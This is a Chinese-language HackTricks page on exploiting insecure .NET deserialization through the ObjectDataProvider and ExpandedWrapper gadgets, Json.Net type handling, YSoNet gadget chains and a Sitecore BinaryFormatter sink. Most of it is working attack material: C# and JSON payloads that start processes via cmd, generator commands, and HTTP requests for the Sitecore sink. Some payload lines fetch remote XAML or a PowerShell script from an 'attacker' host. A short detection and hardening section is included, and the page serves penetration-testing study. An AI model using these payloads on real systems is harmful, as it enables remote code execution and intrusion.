基础 .Net 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本文致力于理解 ObjectDataProvider gadget 如何被利用以获得 RCE,以及如何滥用 Serialization 库 Json.Net 和 xmlSerializer来配合该 gadget。
ObjectDataProvider Gadget
根据文档:the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
是的,这个解释有点奇怪,所以我们来看这个类有哪些有趣的地方:该类允许封装任意对象(wrap an arbitrary object),使用 MethodParameters 来 设置任意参数, 然后 使用 MethodName 调用该任意对象的任意函数,并将之前声明的任意参数传入。
因此,任意 object 会在被反序列化时使用这些 parameters 来 执行 一个 function。
How is this possible
System.Windows.Data 命名空间(位于 PresentationFramework.dll 的 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
)是定义并实现 ObjectDataProvider 的地方。
使用 dnSpy 可以查看我们感兴趣的类的代码。下面的图片中我们看到的是 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name 的代码
如你所见,当设置 MethodName
时会调用 base.Refresh()
,我们来看看它做了什么:
好的,继续看 this.BeginQuery()
做了什么。BeginQuery
在 ObjectDataProvider
中被重写,下面是它的实现:
注意在代码末尾调用了 this.QueryWorke(null)
。我们来看那会执行什么:
注意这并不是 QueryWorker
函数的完整代码,但它展示了有趣的部分:代码调用了 this.InvokeMethodOnInstance(out ex);
,这就是方法集合被调用的那一行。
如果你想验证仅设置 MethodName 就会被执行,你可以运行这段代码:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
注意,你需要将引用添加为 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll,以便加载 System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType
). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process
for example). You can find more information about the DotNetNuke vuln here.
该类允许 s指定在给定实例中被封装对象的对象类型。因此,该类可用于将源对象 (ObjectDataProvider) 封装到一个新的对象类型,并提供我们需要的属性 (ObjectDataProvider.MethodName 和 ObjectDataProvider.MethodParameters)。
这对于前面展示的情况非常有用,因为我们能够 封装 _ObjectDataProvider** 到一个 **ExpandedWrapper _ 实例,并且 反序列化时 该类将 创建 OjectDataProvider 对象,该对象将 执行 在 MethodName 中指定的 函数。
你可以使用以下代码检查这个 wrapper:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
在 官方网站 上指出该库允许 使用 Json.NET 强大的 JSON 序列化器对任何 .NET 对象进行序列化和反序列化。因此,如果我们能够 反序列化 ObjectDataProvider gadget,仅通过反序列化一个对象就可能导致 RCE。
Json.Net 示例
首先,让我们看一个使用该库 序列化/反序列化 对象的示例:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
滥用 Json.Net
使用 ysoserial.net 我创建了该 exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
在这段代码中你可以测试该漏洞利用,只需运行它,你会看到 calc 被执行:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
高级 .NET Gadget Chains (YSoNet & ysoserial.net)
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是当应用执行不安全的 .NET 反序列化时可以被滥用的众多 gadget chains 之一。现代红队工具例如 YSoNet(以及更早的 ysoserial.net)可以自动生成用于数十种 gadget 和序列化格式的可直接使用的恶意对象图。
下面是随 YSoNet 提供的最有用的链的简要参考,包含它们的工作原理说明以及生成 payload 的示例命令。
Gadget Chain | 核心思想 / 原语 | 常见序列化器 | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | 损坏 DelegateSerializationHolder 记录,使其在反序列化后指向任意攻击者提供的方法(例如 Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | 滥用 System.Workflow.ComponentModel.ActivitySurrogateSelector 来绕过 .NET ≥4.8 的类型过滤并直接调用提供类的构造函数或动态编译一个 C# 文件 | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | 利用 System.Data.DataSet 的遗留 XML 表示,通过填充 <ColumnMapping> / <DataType> 字段来实例化任意类型(可选地使用 --spoofedAssembly 伪造程序集) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | 在启用 WPF 的运行时(>.NET 5)上链式调用属性 getter,直到到达 System.CodeDom.Compiler.CompilerResults ,然后使用 -c 提供的 DLL 进行编译或加载 | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (复习) | 使用 WPF 的 System.Windows.Data.ObjectDataProvider 调用带受控参数的任意静态方法。YSoNet 增加了便捷的 --xamlurl 选项以便远程托管恶意 XAML | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | 将 ScriptBlock 嵌入到 System.Management.Automation.PSObject 中,PowerShell 在反序列化该对象时会执行它 | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
默认情况下,所有 payload 都会写入 stdout,因此很容易将它们通过管道传递给其它工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
构建 / 安装 YSoNet
如果在 Actions ➜ Artifacts / Releases 下没有可用的预编译二进制文件,下面的 PowerShell 单行命令将设置构建环境、克隆仓库并以 Release 模式编译所有内容:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
检测与加固
- 检测
w3wp.exe
、PowerShell.exe
或任何反序列化用户提供数据的进程(例如MessagePack
、Json.NET
)的异常子进程。 - 在无法移除旧的
BinaryFormatter
/NetDataContractSerializer
时,启用并强制类型过滤(TypeFilterLevel
= Full、自定义SurrogateSelector
、SerializationBinder
,etc.)。 - 在可能的情况下迁移到
System.Text.Json
或DataContractJsonSerializer
,并使用基于白名单的转换器。 - 阻止危险的 WPF 程序集(
PresentationFramework
、System.Workflow.*
)在不需要它们的 web 进程中被加载。
真实场景 sink:Sitecore convertToRuntimeHtml → BinaryFormatter
一个在经过认证的 Sitecore XP Content Editor 流程中可达的实用 .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
封装了new BinaryFormatter().Deserialize(...)
。 - Trigger path:pipeline
convertToRuntimeHtml
→ConvertWebControls
,该流程搜索具有id="{iframeId}_inner"
的同级元素并读取value
属性,该属性被视为 base64 编码的序列化数据。结果被强制转换为字符串并插入到 HTML 中。
最小端到端示例(已认证):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget:任何返回字符串的 BinaryFormatter 链(副作用在反序列化期间执行)。参见 YSoNet/ysoserial.net 以生成 payloads。
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
参考资料
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。